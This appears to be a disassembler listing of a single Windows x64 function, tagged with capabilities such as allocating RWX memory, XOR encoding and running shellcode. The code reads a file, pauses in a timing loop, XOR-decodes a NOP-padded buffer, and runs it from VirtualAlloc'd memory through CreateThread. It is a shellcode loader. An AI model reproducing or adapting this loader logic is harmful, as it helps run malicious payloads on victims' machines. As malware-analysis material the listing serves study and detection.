Function at 0x140001b70
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push rbp
push r15
push r14
push rsi
push rdi
push rbx
mov eax, 0x10e8
call fcn.140006fc0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1060], 0xfffffffffffffffe
mov rdx, rcx
cmp qword [rcx + 0x18], 0x10
jb 0x140001ba5
mov rdx, qword [rdx]
mov dword [rsp + 0x20], 1
lea rcx, [rbp + 0xec0]
mov r8d, 0x20
mov r9d, 0x40
call fcn.140004cf0
mov rax, qword [rbp + 0xec0]
movsxd rax, dword [rax + 4]
test byte [rbp + rax + 0xed0], 6
jne 0x14000208a
mov rsi, qword [rbp + rax + 0xf08]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x1020], xmm0
movaps xmmword [rbp + 0x1030], xmm0
test rsi, rsi
je 0x140001c62
mov rax, qword [rsi + 0x38]
mov rax, qword [rax]
test rax, rax
je 0x140001c16
mov rcx, qword [rsi + 0x50]
cmp dword [rcx], 0
jle 0x140001c16
movzx eax, byte [rax]
jmp 0x140001c24
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x30]
cmp eax, 0xffffffff
je 0x140001c62
mov qword [rbp - 0x50], 0
mov word [rbp - 0x48], 1
mov qword [rbp + 0x1000], rsi
mov byte [rbp + 0x1008], 1
mov byte [rbp + 0x1009], al
lea rcx, [rbp + 0x1020]
lea rdx, [rbp + 0x1000]
lea r8, [rbp - 0x50]
xor r9d, r9d
call fcn.1400062e0
jmp 0x140001c7f
mov qword [rbp + 0x1030], 0
mov qword [rbp + 0x1038], 0xf
mov byte [rbp + 0x1020], 0
lea rcx, [rbp + 0xec0]
call fcn.140002380
call fcn.140008124
mov rsi, rax
call fcn.140008108
mov rcx, rax
cmp rsi, 0x989680
jne 0x1400020eb
imul rsi, rcx, 0x64
mov qword [rbp - 0x50], 0x7d0
lea rcx, [rbp - 0x50]
call fcn.140002510
call fcn.140008124
mov rdi, rax
call fcn.140008108
mov rcx, rax
cmp rdi, 0x989680
jne 0x140002156
imul rax, rcx, 0x64
sub rax, rsi
movabs rcx, 0xbce4217d2849cb25
imul rcx
mov rax, rdx
shr rax, 0x12
shr rdx, 0x3f
lea esi, [rax + rdx]
add esi, 0x7f149
mov edi, 0x76c
nop word [rax + rax]
call section..text
cmp edi, 0x898
je 0x140001d29
lea eax, [rsi + rdi]
inc edi
cmp eax, 0x7f148
jne 0x140001d10
lea rcx, [rbp + 0x1000]
mov edx, 0x7f148
call fcn.140004b10
lea rsi, [rbp + 0xfd0]
lea rdx, [rbp + 0x1020]
lea r8, [rbp + 0x1000]
mov rcx, rsi
call fcn.140001530
mov r14, qword [rbp + 0xfe8]
mov rbx, qword [rbp + 0xfd0]
mov rdi, qword [rbp + 0xfe0]
lea rdx, str.909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
lea rcx, [rbp - 0x50]
mov r8d, 0xf01
call sub.msvcrt.dll_memcpy
mov eax, 0x50
movaps xmm0, xmmword [0x14000ff50]
nop
movaps xmm1, xmmword [rbp + rax - 0xa0]
xorps xmm1, xmm0
movaps xmm2, xmmword [rbp + rax - 0x90]
xorps xmm2, xmm0
movaps xmmword [rbp + rax - 0xa0], xmm1
movaps xmmword [rbp + rax - 0x90], xmm2
movaps xmm1, xmmword [rbp + rax - 0x80]
xorps xmm1, xmm0
movaps xmm2, xmmword [rbp + rax - 0x70]
xorps xmm2, xmm0
movaps xmmword [rbp + rax - 0x80], xmm1
movaps xmmword [rbp + rax - 0x70], xmm2
movaps xmm1, xmmword [rbp + rax - 0x60]
xorps xmm1, xmm0
movaps xmm2, xmmword [rbp + rax - 0x50]
xorps xmm2, xmm0
movaps xmmword [rbp + rax - 0x60], xmm1
movaps xmmword [rbp + rax - 0x50], xmm2
add rax, 0x60
cmp rax, 0xf50
jne 0x140001d90
xor byte [rbp + 0xeb0], 0xfe
cmp r14, 0x10
cmovae rsi, rbx
call section..text
lea rcx, [0x140011d7a]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x140011dc9]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140016748], rax
lea rbx, [0x140016748]
mov r15, qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r14, [rbp + 0x1040]
mov edx, 8
mov rcx, rbx
mov r8d, 0x40
mov r9, r14
call r15
lea rax, [0x140001b60]
mov qword [0x140016748], rax
mov r8d, dword [rbp + 0x1040]
mov edx, 8
mov rcx, rbx
mov r9, r14
call r15
xor ecx, ecx
mov rdx, rdi
mov r8d, 0x1000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov rcx, qword [0x140016748]
test rcx, rcx
je 0x140001ed0
mov edx, 8
mov r8d, 0x40
mov r9, r14
call r15
mov qword [0x140016748], 0
mov r8d, dword [rbp + 0x1040]
mov edx, 8
xor ecx, ecx
mov r9, r14
call r15
call section..text
lea rcx, [0x140011d70]
mov r14, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call r14
lea rdx, str.RtlCopyMemory
mov r15, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call r15
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call sub.msvcrt.dll_memcpy
movabs rax, 0x64616572685465
mov qword [rbp + 0xff5], rax
movabs rax, 0x6854657461657243
mov qword [rbp + 0xff0], rax
lea rcx, str.Kernel32.dll
call r14
lea rdx, [rbp + 0xff0]
mov rcx, rax
call r15
mov rsi, rax
call section..text
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
mov r8, rbx
xor r9d, r9d
call rsi
mov rsi, rax
movaps xmm0, xmmword [str.WaitForSingleObject]
movaps xmmword [rbp + 0x1040], xmm0
mov dword [rbp + 0x1050], 0x746365
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0x1040]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
call section..text
mov rcx, rsi
mov edx, 0xffffffff
call rdi
mov rax, qword [rbp + 0xfe8]
cmp rax, 0x10
jb 0x140001ff5
mov rcx, qword [rbp + 0xfd0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140001ff0
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140002254
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140006e8c
mov rax, qword [rbp + 0x1018]
cmp rax, 0x10
jb 0x14000203a
mov rcx, qword [rbp + 0x1000]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x140002035
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140002254
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140006e8c
mov rax, qword [rbp + 0x1038]
cmp rax, 0x10
jb 0x14000207f
mov rcx, qword [rbp + 0x1020]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000207a
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140002254
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140006e8c
mov rax, qword [rbp + 0xec0]
movsxd rax, dword [rax + 4]
lea rsi, [rbp + 0xf70]
lea rcx, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax + 0xec0], rcx
mov rax, qword [rbp + 0xec0]
movsxd rax, dword [rax + 4]
lea ecx, [rax - 0xb0]
mov dword [rbp + rax + 0xebc], ecx
lea rcx, [rbp + 0xed0]
call fcn.1400030a0
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0xf70], rax
mov rcx, rsi
call fcn.140007464
nop
add rsp, 0x10e8
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
cmp rsi, 0x16e3600
jne 0x1400021bd
movabs r9, 0xb2f4fc0794908cf3
mov rax, rcx
imul r9
mov r8, rdx
add r8, rcx
mov rax, r8
shr rax, 0x3f
sar r8, 0x18
add r8, rax
imul rax, r8, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rcx
imul r9
mov rsi, rdx
imul rax, r8, 0x3b9aca00
add rsi, rcx
mov rcx, rsi
shr rcx, 0x3f
sar rsi, 0x18
add rsi, rcx
add rsi, rax
jmp 0x140001cac
cmp rdi, 0x16e3600
jne 0x1400021d3
movabs r9, 0xb2f4fc0794908cf3
mov rax, rcx
imul r9
mov r8, rdx
add r8, rcx
mov rax, r8
shr rax, 0x3f
sar r8, 0x18
add r8, rax
imul rax, r8, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, rcx
imul r9
mov rax, rdx
imul rdx, r8, 0x3b9aca00
add rax, rcx
mov rcx, rax
shr rcx, 0x3f
sar rax, 0x18
add rax, rcx
add rax, rdx
jmp 0x140001cde
mov rax, rcx
or rax, rsi
shr rax, 0x20
je 0x1400021e9
mov rax, rcx
cqo
idiv rsi
jmp 0x1400021ef
mov rax, rcx
or rax, rdi
shr rax, 0x20
je 0x140002213
mov rax, rcx
cqo
idiv rdi
jmp 0x140002219
mov eax, ecx
xor edx, edx
div esi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rsi
or rdx, rax
shr rdx, 0x20
je 0x14000223a
cqo
idiv rsi
mov rsi, rax
jmp 0x140002240
mov eax, ecx
xor edx, edx
div edi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rdi
or rdx, rax
shr rdx, 0x20
je 0x140002248
cqo
idiv rdi
jmp 0x14000224c
xor edx, edx
div esi
mov esi, eax
add rsi, rcx
jmp 0x140001cac
xor edx, edx
div edi
add rax, rcx
jmp 0x140001cde
call fcn.14000b050
int3